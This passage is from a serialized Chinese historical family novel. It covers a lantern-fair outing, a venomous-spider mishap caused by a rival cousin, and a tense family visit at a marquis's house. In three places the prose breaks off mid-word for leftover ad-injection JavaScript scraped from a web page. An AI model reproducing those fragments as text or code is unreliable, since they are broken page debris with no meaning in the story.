“这不难，我让姐姐去跟二叔母说，说她……说她想和四妹妹一块儿放灯……总之，这件事儿包我身上！”宋祈章得意地扬扬下颌。 正值二人说话，门外走进来一道青色的身影，至二人案旁，居高临下地瞧他们。 宋祈章抬头，随意地看了他一眼，懒懒道：“你再等等，先生不是还没来么。” 宋培玉笑道：“这是我的位子。” “要不你和我换吧，如何？”宋祈章忽然问。 宋培玉睨着他，无端端生出些难压的火气，好像只有“他们宋家”才是矜贵的，而他，只沾了个姓。 “我跟你换能有什么好处？”唇畔不由带上两分讥诮。 宋祈章没被他这样反驳过，一时意外，抬眸冷睇上去。 宋培玉仍在笑，却欠揍极了。 “二哥哥别理他，坐哪儿都一样。”知柔适时开口，等宋祈章看过来，她还附上一枚浅浅的笑，十分可爱。 他这才把冷漠的神色稍缓了，起身和煦地说：“那你散学等等我，一起走。” 这幅兄妹情深的画面跳入魏元瞻眼中，不难看，但有些晃眼。 “还说要和我玩。三心二意。”他轻哼一声，目光扭向另一边，把玩他的短刀。 兰晔依稀听见主子发话，微微俯身，“爷说什么？” “出去。”他冷淡地回答。 到了第二日傍晚，许月鸳果然准许知柔与其他人一同出府，去市集灯会上逛一二时辰。 宋含锦和知柔一辆马车。 她就着小桌坐下，揭开一盒点心。 从这里去琉璃街尚要一会儿功夫，宋含锦一面看书，一面用两口糕点，安静得像掉到沙漠里，毫无回音。 知柔虽然不惯，却也闭紧嘴巴，只时不时地往她脸上瞟两眼。 她的动作被宋含锦察觉，眉头轻锁，眼皮却未抬一下：“想吃就吃，自己拿。” 知柔非是嘴馋，而是在认真地端详她。 说来奇怪，她入京城已足五月，同一个屋檐下，竟与三姑娘从未有过交谈的机会。依她平日观察，这位三姐姐除了傲慢，却也并非骄横无理之人。 “三姐姐上次说，凡有能耐者，不论出身如何，旁人都不该轻忽。” 这是宋含锦在宋老夫人面前说过的话，评的是前朝开国功臣刘温早年受尽冷待，生活凄惨一事。 眼下被宋知柔用脆生生的嗓音说出来，宋含锦翻书的手一顿，抬起眼睫。 她注视知柔一会儿，难得应了一句：“我说过的话，四妹妹竟记得这么清楚。” “三姐姐，你觉得我怎么样？”知柔稍稍倾身，一双黑眸隽秀，像淬了星。 宋含锦挑眉：“你什么意思？” “我将来也可能会有能耐啊。” 这话出自一身份尴尬的人之口，难免有虚张声势的嫌疑。宋含锦闻言先是一愣，旋即笑开。 知柔见状倒也不恼，慢慢挺拔腰身：“三姐姐不信吗？” 马车里就她二人，时机难得，她将话匣子打开，如同朋友聊天似的。 “我从前在我们县里可是拿一根棍棒打跑了一群人，还有程武他们——我在那边私塾里的同窗。他们总是捉弄我。” “有一次，我在我的书卷里藏了千香草，他们想撕我的书，却被千香草弄得浑身发痒，最后只能求我救救他们。” 后来第二天，他们就翻脸了，四五个男孩儿把知柔堵在巷口，说要给她点颜色瞧。 那巷子逼仄得不见首尾，她被困在人墙中，只是怒，并不害怕。 当先的男孩儿被她瞪着，心里不快，故意搡她一把：“看什么看？小心我将你的眼睛挖出来，送给你爹！” 说完，与周围几人互对两眼，连道忘了忘了，“她没爹，只有个寡妇娘。”引起一阵哄笑。 她不堪其辱，拿书用力砸在男孩儿膝头，趁他吃痛俯身，钻空跑了出去。 “若论逃跑的本事，整个银溪县都挑不出比我更厉害的人。”摒去那些挑衅的话，知柔将结论简洁地讲了出来。 宋含锦听着，笑容一点点收敛。 在今日之前，她从未静下来和宋知柔说过话。 其实她们之间没有仇怨，若非要指一个，便是她与林禾的到来打乱了她的生活，赶走了郑氏。 是以，宋知柔之于她，不过一个令人厌恶的名字。她不会去钻研她的过往，更不曾想到她竟这般……可怜。 少女长眸微黯，不知在思量些什么。 知柔轻声道：“三姐姐？” 宋含锦方才回神。乜她一眼，牵动嘴角讥道：“这算什么本事，你是野人吗？” 想象她被人追赶的情景，抿了抿唇：”真没用。” 知柔未加辩白，伸手拈块点心，还给自己倒了杯茶。动作是极周正的，一点儿也不像个“野人”。 宋含锦冷眼看着，觉得她身上有种说不出来的古怪。 譬如初次见她那天，文荣堂上，她迈进来的时候目不斜视，只看前方。她的行动毫不失礼，毫无怯意。 ——她学的规矩很严。 且观她平日在府里的言行举止，不像刻意装出来的，而是驾轻就熟，仿佛做过上千遍了。 她一个小县里同人追架长成的丫头，她的规矩是谁教的？ 待进了琉璃街，马车慢慢停下。 宋含锦推门出去，即见两个哥哥已站在马车旁。 出来时，天色已晚，唯一莹亮的是车前两盏挂了“宋”字的灯笼。现下入了市间，灯火延汇，天空好似又亮起来，明艳至极。 宋祈羽代替驾车的随侍，一手微微抬起，让宋含锦借力。她落地后，他没有收手，抬眼看向知柔。 他教养如此，知柔却不敢受用。她拎着裙角，轻快地跳了下去。 宋祈羽的目 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 光短暂地停顿一下，若无其事地收回手。 “大哥，你们玩，我跟四妹妹去韵柳河逛逛。若是辛嬷嬷寻起我们，劳烦大哥替我们周旋。”宋祈章说完，只叫两个随侍跟着，预备趁辛嬷嬷未到，赶紧溜走。 不防兄长的声音在身后响起—— “今日没有河灯，去韵柳河做什么？” 他只好折过身来，脸上浮起心虚的笑。 诸如下河捉鱼一类的事，家中不会允许。一时想不到借口，便半侧着身子示意知柔。 哪想知柔根本无意今日下水，只管回视他，让他编。 前头儿一条凤灯欢快地舞起来，周遭人声渐涨，拥堵更甚。 “河畔阴湿，别去了。”宋祈羽忽地开口，他的话仿佛从高处传来的命令，不容置疑。 宋祈章嘴唇翕动，想违抗他，又不敢，只好恹恹应了。 为贺娘娘千秋，灯会的花样异常繁盛，也因此，街上鱼龙混杂。 宋祈章放缓步调，扭头睨知柔：“你方才怎么不说话？”眼神里颇有几分委屈。 知柔抱着两袖：“二哥哥，今日还是好冷。” 南方长大的姑娘总要比北方人更加畏寒，宋祈章听了，倒不好相怪，垂首咕哝一声：“也不知道下次有这样的机会是什么时候……” 车身悠悠摇晃，魏鸣瑛借着窗角间隙望外睃一眼，对旁边的魏元瞻道：“一会儿你跟我先去找般般他们……” 话犹未止，魏元瞻开口应和：“知道了。” “知道什么？你别是不想去吧。”魏鸣瑛拧眉。 正此时，车夫轻“吁”一声，将马勒停。 魏元瞻打起帘子，听兰晔在外低声禀报：“是盛公子。他请爷下车至一品铺。” “他怎么不过来？” “盛公子说……”兰晔的目光触及车厢内的少女，只一瞬便迅速挪开，“他有点怕大姑娘。” 魏元瞻轻轻笑了，放下车帘，对魏鸣瑛道：“是。我就不陪姐姐了，兰晔留给你。”便钻出马车。 一品铺前，盛星云在长凳上坐着，捧着袖炉暖手。见魏元瞻从长街对面过来，忙站起身迎了两步，视线却黏在行驶过去的车马中。 “你姐姐……走远了？” 魏元瞻瞧他这个样子，直觉好笑：“看来兰晔会错了意，你是想见我姐姐？” “胡说什么！”他将目光从马咽车阗里收回来，拉着魏元瞻往人群另一边走。 “这几日不知龚岩撞了什么邪气，忽然见了我也不申饬了，可他看我那眼神——”盛星云一壁走，俊朗的脸徒地拧了一下，“说真的，浑像看倒楣鬼，你说他是不是……” 滔滔不绝的话在魏元瞻耳中响起，他垂袖抚过鞘纹，静静地听。 头顶明月照住悬在架上的彩绘灯笼，一偏一转，光影如织。 盛星云说完等了半晌，不得回应，便顺着他的目光往前探—— 宋家兄妹的身影在满街喧杂中突围出来，隔着奔流不息的人潮，倏然与他们相视。 知柔方接过二哥哥买的花灯，在五光十色的馆阁前，看见了魏元瞻。 她嘴边的笑容一刹绽得更盛，抬一抬灯笼，向他招摇。 魏元瞻稍怔了一下，没应得来，只觉周围的脚步声太杂太乱，听不见任何别的声音。 直到宋知柔远远唤他的名字。 “魏元瞻！” 21. 饯星霜（九） 连绵的风在街道上撞来撞去，把灯笼挤得呼呼作响。 知柔接过宋祈章递来的花灯，粲然一笑，不经意抬首时，在人海中望见了魏元瞻。 她睁大了眼睛，提灯那只手烂漫地冲他摇一摇：“魏元瞻！” 隔得尚远，知柔看不清他的神情，但她知道他正望着这边。 手还未及放下，就听人在身后喊住了她：“别过去。” 知柔微微一顿，回头看向宋含锦。 她睨过来：“你又不是侯府的人，还要上赶着给人家行礼吗？” 这话太过锋利，知柔不解。 他们既认识彼此，见到了问候一二不是很寻常吗？为何装作不识？ 疑惑没能出口，宋含锦已拔步朝前。 宋祈章无奈地拍了拍她的肩膀：“走吧。” 随着他们的身影渐行渐远，知柔仍未抬步，转头又看了一眼魏元瞻。 两人隔着稍远的距离，他就站在那，纹丝未动，身形中仿佛流淌着与宋含锦一样的气场。 他是决计不肯迈过来的。 回想半个月前，宜宁侯携妻子三人到宋府拜贺，老夫人留他们用饭，亲亲热热地与侯爷交谈了许久，那时大哥哥还领魏元瞻在府上投壶。 怎么到了府外，他们几人的交往竟是这样。 知柔困惑地收回目光，小跑一段追上他们。宋祈章本就在前头等，待她过来并肩而行。 流光对面，魏元瞻目视前方，袖下的手指微蜷，容色跟往常无异。 盛星云道：“这姑娘有意思，喊完你就跑了。”还带着点笑声回荡耳边。 魏元瞻挑起一侧眉：“你平日也是这般慧眼？” “你这人……我娘正鼓动全家下月去明恩寺拜佛，你不如同我们一起，修修口业。”他说完，抬手勾搭上魏元瞻的肩，“走了，别看了。有什么好看的？” “谁看了？”魏元瞻将他的手从肩膀上扔下去，才撤回来的眼睛又瞥了一眼宋知柔。 这月初二，留在宋府用饭的时候，也不见得她和宋家人相处得有多融洽，这才几日，她便已经跻身其列了吗？ 魏元瞻撩了衣袂，背道而行。只消一想宋知柔那日赠他弹弓，心中便莫名生出几分不快。她对宋含锦他们，也是一样用如此手段收服的么？ 知柔落后两步踩着宋含锦的影子，突然叫风一刮，打了个喷嚏。 宋祈章扭头瞧她：“果然还是太冷了？”又多看了一眼。 他记得四妹妹的身体还算结实。之前她感染风寒，不出几日便大好了，一人抱着乌龟在知鱼亭逗趣儿。 那会儿他和姐姐经过还聊起她来，说这个四妹妹看着呆呆的，很有福气。 知柔把灯梢往怀里一揣，摸一摸脸，并不发烫，应是没有染疾。遂收拢襟口：“我没事。二哥哥，还有多久才能走到瑞水台呀？” 若只是这样随众缓行，她觉得今夜灯会也无甚有趣。 “你瞧前面，”宋祈章举袖往前边指，“人最多的地方，看到了吗？那就是瑞水台。” 他又道：“听闻今夜会有北璃国的人在瑞水台为皇后娘娘……”话未说完，他忽地合上嘴唇，目色冷冽地盯在一人身上。 宋培玉。 又是他。 大概还记着昨日波澜，两人当下见到对方都不痛快。 尤其宋培玉。 过年前，他费了好大功夫弄来宋知柔的乌龟，把红漆一倒，给它染红了。本想借此恐吓住那丫头，谁料她没生受—— 第二天，不知她用了什么办法，竟叫他交给先生的纸牍上书满了阴阳怪气之辞。 先生震怒。 现下碰上了，宋培玉强笑着与宋祈羽等人寒暄，话里话外却是要将知柔单独引开。 “我凭什么跟你去？” 知柔手上拎着花灯，下巴稍微抬起，望向他的眼神里甚而有几分轻松之意。若非他不愿承认，她此刻还真有些“宋家人”的影子。 宋培玉故意激道：“怎么，你还担心我会害你？” 知柔答地利落：“当然。” 洛州生活九年，她对谁都存着一点防备之心，更遑论自一开始就和她不对付的宋培玉。 听他在这儿白费口舌，她觉得煎熬，拉着宋祈章衣袖：“二哥哥，我们快走吧。” 宋祈章早有此意，他回握住自己袖角，以力带力一般，把知柔牵离那个晦气的地方。 谁承想，宋培玉竟趋步上来，一把拽下了她的花灯。 哪怕周遭热闹，灯笼摔向地面的“沙沙”声依旧引得宋祈羽兄妹止步。 这是在外头，宋培玉若欺宋知柔，损的是他们正支颜面。 宋祈羽脸色微寒，待要开口之际，宋含锦居然先他一步踱了上去：“宋培玉，你放肆！” “三姑娘自走你的路，我和宋知柔讲话，难不成还需向你请示？”宋培玉身量高，左右又都是豪奴，面对宋含锦不见半点儿忌惮。 他一说完，靴子朝余光欲绝的花灯踢一脚。恰有行人通过，被他牵绊，怀中的木箱顿时从胸前飞出，划一道弧线落去小姑娘身上—— 宋含锦眼看一个四四方方的黑物向她砸过来，速度之快，她避犹不及。 那瞬间，一股力道透过衣袖攥疼她的胳膊，将她往旁边拽了过去。 且听男子“哎唷”一声，苦叫：“我的炎蛛！”忙喊手下将其捉回，一壁低头怒斥：“怎么走路的，扔什么灯？我的炎蛛你也敢动，存心不想要这一条命了吗？” 早在木箱冲宋含锦砸去的时候，宋祈羽疾步上前欲将她往后拖，未想有人比他更快！ 只见木箱着地，箱盖应声而开，一条漆黑的影子快速爬出，呈蜿蜒状在地上游走，形貌十分诡异。 宋含锦心跳得剧烈，不仅方才受惊，更令她感到惊愕的是保护她的人。 在她站稳后，那力道倏地松开：“三姐姐，还好吗？” 是宋知柔关切的语调。垂睫看，她两道秀眉几乎攒到一起。 宋含锦尚未平复，手腕又被兄长扣着，用力往后拉，将她和知柔二人一并挡在身后。宋祈羽望一眼地上爬行的东西，复把目光移到宋培玉身上，阴沉了面容。 他对“炎蛛”此物有所耳闻。 其乃苗疆所养，身含剧毒，但入药价值极高，因而陛下曾经下旨：“凡能捕到炎蛛者，可以此减免税收；若其数甚众，可以之易得京师宅邸。” 观箱主衣着打扮，八成是南方商贾进京易宅的。 若刚才宋知柔没有出手，自己又慢一步，叫这商人的炎蛛落到妹妹身上，后果不堪设想。 一思及此，宋祈羽眼眸幽利，侧首吩咐嬷嬷：“送两位姑娘回府。祈章，你也回去。长离留下。” 长离是宋祈羽身边随侍，身手极佳。 辛嬷嬷应是，忙请几位小主子跟她回走，登进马车。 车上，知柔坐着不动，小脸自遇了宋培玉便一直没什么表情。 宋含锦也差不多。虽心绪稍缓，面孔却失去色泽。 车内沉静得如同一潭死水。 宋含锦抚平衣裳褶皱，终于别扭地发出声：“你知不知道炎蛛是什么？” 知柔摇头：“不知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道。” 车内再度安静下来。 宋含锦飘忽的视线在知柔面上盘旋，被她回视一眼，难免觉得尴尬，突兀地转了嗓音：“看哥哥的样子，宋培玉要倒楣了。” 知柔不置可否。 大哥哥素日瞧着冰冷，无论与谁交往，中间都隔着一段拢不近的距离，唯独对待三姐姐，他实在像变了个人似的，不仅爱笑，还很纵容她，处处回护。 听府里的下人提起，早年间，大公子险些出事，是三姑娘不顾危险护住了他。虽他二人无碍，可三姑娘的奶娘郑氏却因此伤了根本，成日半疯半醒，再无完好模样。 知柔听闻此事时，郑娘子已经被二太太送出宋府。因郑娘子曾在阿娘院中出现，她后来回想，宋含锦对自己的态度冷漠，并非事出无因。 她能理解宋含锦，也觉得她不会是一个无理的恶人——重视感情之人怎会恶呢？ 眼下好好的游玩被宋培玉搅乱，知柔心情不佳，见宋含锦神情复杂地望过来，不由得问：“三姐姐，我们还会再出来玩吗？” 似乎没料到她所思所想竟是这个，宋含锦无言了一会儿，继而如释重负地吐口浊气，接声道：“自然会啊，还有春日宴呢。” 翌日，知柔照常去澹玉苑向父母问安，随后与宋含锦一道进的家塾。 宋祈羽来得比往常晚，晨间在二太太跟前也未曾露面。感觉到他的目光落过来，知柔抬眼，和他正正交汇。 他面色与寻常无差，眉宇间勾勒着一派幽冷气象，可他此值侧首，春阳恰好照住他半张容颜，透出一点朦胧的暖意。 片刻，一道衣影于她面前落座，阻断了她的视野：“以后我就坐这儿了！” 知柔看着宋祈章，面露惊讶：“宋培玉愿意换？” “他？”宋祈章在这个刚得来的位子上懒散一靠，声线如过境春风，“他不会来了。” 话音甫落，知柔怔怔地将眸子投向前排。 一旁的魏元瞻听见他们对话，瞳色微转，也望向宋祈羽。 他的背影在和煦的春光映衬下，沉静而文雅，可在魏元瞻眼中，有一种说不出的矛盾。 昨夜。 魏元瞻和盛星云没走多远，便折了身，与宋知柔他们一样去往瑞水台。不足一里的路程，偏在那夜显得格外长。 他兴致缺缺，见旁边有卖云片糕的，便停下买了一袋。 恰此时，前边遽然爆发一场骚动，妨碍了后面行进。 魏元瞻索性就着长凳坐下，没再往前。 等了一会儿，隐约瞧见宋府一行正往回走。 又过半晌，他看到了宋祈羽。 长夜璀璨，游人如织，周围的喧闹声在宋祈羽耳中恍若无物，他只静静地打量身前之人，须臾，他冷漠道：“十公子，往后我们宋家家塾，你就不必来了。” 宋培玉听闻，眸色中闪过一丝错乱，旋即质问：“你要逐我走？凭什么？” 凭什么？真是可笑。宋祈羽如是想着，低声笑了一下，很快面容冷却，下睨着他：“凭我是宋家长孙；凭你，宋培玉，当街设计我的妹妹。” “我对三姑娘并无恶意，方才之事，不过一场意外……”宋培玉着急辩驳，扯了一筐子话，见他神色不改，稍惊了一瞬，“你、你说……宋知柔？” 他不敢置信地望着宋祈羽。 宋祈羽没有回答，只是不耐烦地侧了侧脸：“长离，你来善后。” 月光撒在少年身上，清晰地照亮那张深刻的面庞，如一幅静谧画卷，又似寒刃，待时而发。 ——那才是魏元瞻印象中的宋祈羽。 22. 饯星霜（十） “魏元瞻、魏元瞻！” 突如其来的声音把他的思绪拉回现实。他扭头去看，宋知柔半张身子俯在书案上，扬手一抛，旋即他掌心里落来一只布袋。 “上次忘了给你。”知柔记着昨夜他与三姐姐之间的疏离气场，稍掩嗓音，“这是黄土做的，不伤人。” 魏元瞻拿在掌中捏了一下，打开看，还真是一堆圆润的泥丸。他唇角勾起一丝无奈的弧度，不是说了么，他不玩这些。 到底没给她扔回去，反而在身上搜刮，把早晨魏鸣瑛塞给他的海棠果丢到宋知柔案头：“回礼。” “什么呀？”知柔学他掂量，也是圆的，待拆开瞧，竟是几颗绯红的海棠果。 正要掏出一颗尝尝，宋祈章忽而转背，目光在她手上睃了睃，也抑着音量：“你上回托我买的弹弓不会是给魏表哥的吧？” 一边说一边划眸，眱了魏元瞻两眼，眉毛悄悄皱了起来。 这位世子表兄自从与大哥闹了别扭后，鲜少来宋府，之前说他要来家塾读书，他们都不信。如今魏表哥和四妹妹走得近，总觉得哪里不妥。 “是啊。”知柔说，“二哥哥吃吗？”把果子递了递。 宋祈章稍愣一下，继而含笑：“不用，你吃。” 此后数日，宋含锦对知柔的态度似乎有所好转，虽还是冷冷淡淡，但相互间会颔首招呼了，不似从前那般将她视作无物。 很快，举办春宴的日子定下来，在二月初四，知柔又有机会出府玩了。 “阿娘真不想出去走走？”她窝在林禾身边，轻声地抱怨，“你每日在房中看书，都不出这个院子，有什么意思呀……” 林禾眉眼稍微一弯：“你当阿娘和你一样，是个顽猴？” 知柔嘟一嘟嘴，从长榻上跳下来，走到窗边瞧月。须臾，她返过身，细细端详林禾的面容，突兀地问：“阿娘，父亲会来看你吗？” 像是某种信号，林禾微愕一瞬，轻轻攒眉：“怎么问这个？” 知柔几根手指交叠，扣了扣，没有答话。 她初到宋府，得知自己原来还有爹爹的时候，心里是很难过的。 阿娘骗了她那么多回，她早不过问关于“爹爹”的事了，反正她知道，阿娘才是她在这个世上最重要的人，其他的，没有就没有吧。 直到阿娘说，宋二老爷便是她的爹爹。 她生气极了。兴许带有赌气的成分，她傲慢地想，随便就离开她们的人，才不值得她为其难过。她就听阿娘的，阿娘让她在此扎根，她便做，不让阿娘担心。 回首途中，她做得不算太差，甚至玩得也挺欢喜，可是想想阿娘……阿娘和从前不太一样了。 在洛州的时候，阿娘虽也不爱出门，但大多时光，她觉得阿娘是快乐的。如今到了宋府，阿娘囹于樨香园不出，话也少了。阿娘还快乐吗？ 知柔的声音低了：“父亲很少来看我，我觉得……父亲不喜欢我，所以他也不愿……” “又说傻话。”林禾听着，有些不豫地将她打断，声气却柔缓，没有责怪的意思。 “前两日，你父亲来同我说周先生夸了你写的字，他很欣喜，还特意遣人寻了几幅赵书圣的字帖，就这几天，预备拿给你。他怎会不喜欢你呢？” “真的？父亲来过？”知柔举眉。 “真的。” 知柔望她一会儿，复笑起来：“太好了！” 转头又把心思调到别的事上，眼里亮闪闪的：“那我要送一幅给二哥哥，这样他就不会成日喊着我去捉鱼了！天儿这么差，我还不想沾水。” 炭盆里噼里啪啦地蹦着火星子，今年的春天太冷，宋家抵住了刮骨寒风，宜宁侯府却有人病了。 天光犹未大亮，二太太许氏已经起身，盯着手里的名帖看了好半晌。 昨日姜夫人到府上作客，说起许月鸳，好像是前几日宫中赴宴，衣裳穿得薄了，一回府便倒下去，连日卧床未起。 她与许月鸳到底是亲姊妹，一方染恙，另一方总要过去瞧瞧。 是以打定主意，待几个孩子来问安时，她说了此事。恰好家塾休沐，她想着，就把一双儿女带上，也算叫孩子们全了礼数。 唯一令人心烦的是四丫头。 四丫头来时，宋从昭也在，恐他觉得自己这个母亲做得有失偏颇，只好忍一忍，将她一并带去。 外头金光正盛，魏元瞻快步走在蜿蜒的抄手游廊上，腿还未够向阶下发展，便闻身后响起一声：“才回来，你又往哪儿去？” 他顿住脚，半折了身，不知魏鸣瑛是从哪里冒出来的，像条滑溜溜的鱼：“上次叫你陪我去找般般，你丢下我，现在姑姑和表姐们来探望母亲，你还不陪我坐坐？” “我有事。”他言简意赅。 “你能有什么事？”魏鸣瑛乜他一眼，“除了练武，就是同那盛家小子斗鸡走狗。姐姐可提醒你，母亲最不愿见的就是你一副纨绔模样。” 最后一句话落在魏元瞻耳中，不是提醒，是威胁。 他放下眼梢，语气姿态也顺着降了下来：“不过些场面功夫，姐姐就非得拉着我？我口无遮拦，到时候又呛着表姐们……何必呢？” 言语中的轻蔑倒是一分不少。 魏鸣瑛没有心思和他继续拌嘴，移步上前，蹙着眉心道：“今日檀怀清也来了。你得陪我。” 话说到此节，魏元瞻才稍稍正色。 檀家几位姑娘是他们姑姑的女儿，长他们几岁，平日不住京中。虽然走动的少，可她们一旦过来，惹人嫌的本事叫人侧目。 而这檀怀清，便是檀家几位表姐的堂兄。说白了，他与魏家没有半点干系，但是姑姑抹不开人情脸面，受檀家长房夫人所托，有意要给他和魏鸣瑛搭线。 檀家是什么门第人品，他们都清楚，也就姑姑脑子发热非要下嫁过去。而今居然还惦记着姐姐的婚事，做他的春秋大梦。 魏元瞻没再说什么，一脸冷漠。 魏鸣瑛见状却踏实下来，慢慢地同他踱回园子。 姑姑在母亲房中照看，檀家一行小辈都安排到了春山园。见到魏家姐弟，他们几人忙拔起身，过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来问礼，魏鸣瑛笑了一笑，拂裙坐下。 “表妹昨夜睡得可好？早春尚寒，务必多添衣裳。” 说话的这位就是檀怀清，穿的绢色圆领袍，外罩灰褐氅衣，面相算柔和，生一张微微上翘的嘴唇，噙着笑意。 对他那声“表妹”，魏鸣瑛尤觉反感，只匆匆扫去一眼：“甚好，多谢。” 檀怀清又道：“过年我们不在京中，不知我寄的飞帖，表妹可收到了？” 他乍然提起，魏鸣瑛想了一会儿，好像确有收到他的飞帖。她当时一瞧抬头，便信手交给侍婢处理，没再管了。 晴丝飘落在少女脸上，她唇角微起，露出一个清浅的笑：“不曾。许是他们弄丢了吧。” 魏鸣瑛是女孩儿，名声重要，对待这八竿子打不着的亲戚也不曾挂脸。若叫兰晔、长淮他们瞧了，准要叹服大姑娘的修养。 檀怀清失落一刹，究竟没听出来人家不想理他，自顾接道：“哦，无妨。今日来探望贵母，恰好将父亲在蜀地买的节礼也一并带了过来，其中有我为表妹挑的几匹蜀锦。表妹到时回去看看，可还合你心意。” “多谢。” 这边再无话，檀姑娘钻了空隙闲问道：“听说宋府去岁添了个四姑娘，她人什么样？漂亮吗？” 另一个檀姑娘插声：“江南多美人，可却柔柔弱弱的，要我说，还是不如咱们北方姑娘飒爽。” 魏元瞻本来坐着没动，一听这话，略微撩起眼皮睇了她们一圈，拎出些不易察觉的哼笑。 魏鸣瑛也笑：“表姐这话偏倚了。我见四妹妹多回，她么，不像个柔弱的。” 两位檀姑娘似未察出她语中鄙薄，犹一个劲儿地说：“听闻她从前养在江南，这一回来便是九岁的姑娘，宋家人也真是心宽。不过……她既是宋家二房的人，是不是也算你们的表妹啊？” 说完，明着瞟了檀怀清几眼，仿佛在借照宋四姑娘的例来给他正名——魏鸣瑛姐弟从不肯唤檀怀清一声“表兄”。 魏鸣瑛的脸色却是淡淡的，像花光力气，将要撂挑子一般，口气中狭缕轻笑：“照这么算，我们的表亲也太多了。你说是不是啊，元瞻？” 一面侧首朝魏元瞻看。 他穿着玄青色暗花曳撒，很利落，相比魏鸣瑛的委婉妥帖，他简直锋芒毕露—— “表姐喜欢随便认亲，我们魏家可没这个习惯，什么人都能称得上‘表兄’‘表妹’。” 他一字一句都像战鼓声敲在寂静的夜晚，想不入耳都难。 话音即止，檀怀清脸色青白，两位檀姑娘亦觉羞愤，攥着手心沉默下去。 魏元瞻早不耐烦到了极点，见场子已砸，不必再坐，起身作揖便要往外边走。 孰料，他方才转身就定了住。 太阳还在高升，金灿的光照在游廊底下，也照拂着石阶上站着的两人。 不知宋知柔和宋含锦是何时过来的，陡然视线相交，眸中皆是诧异与烦乱。 宋含锦反应比知柔略快一点，她返身踏回游廊，衣袖摩擦过她的手背：“走。”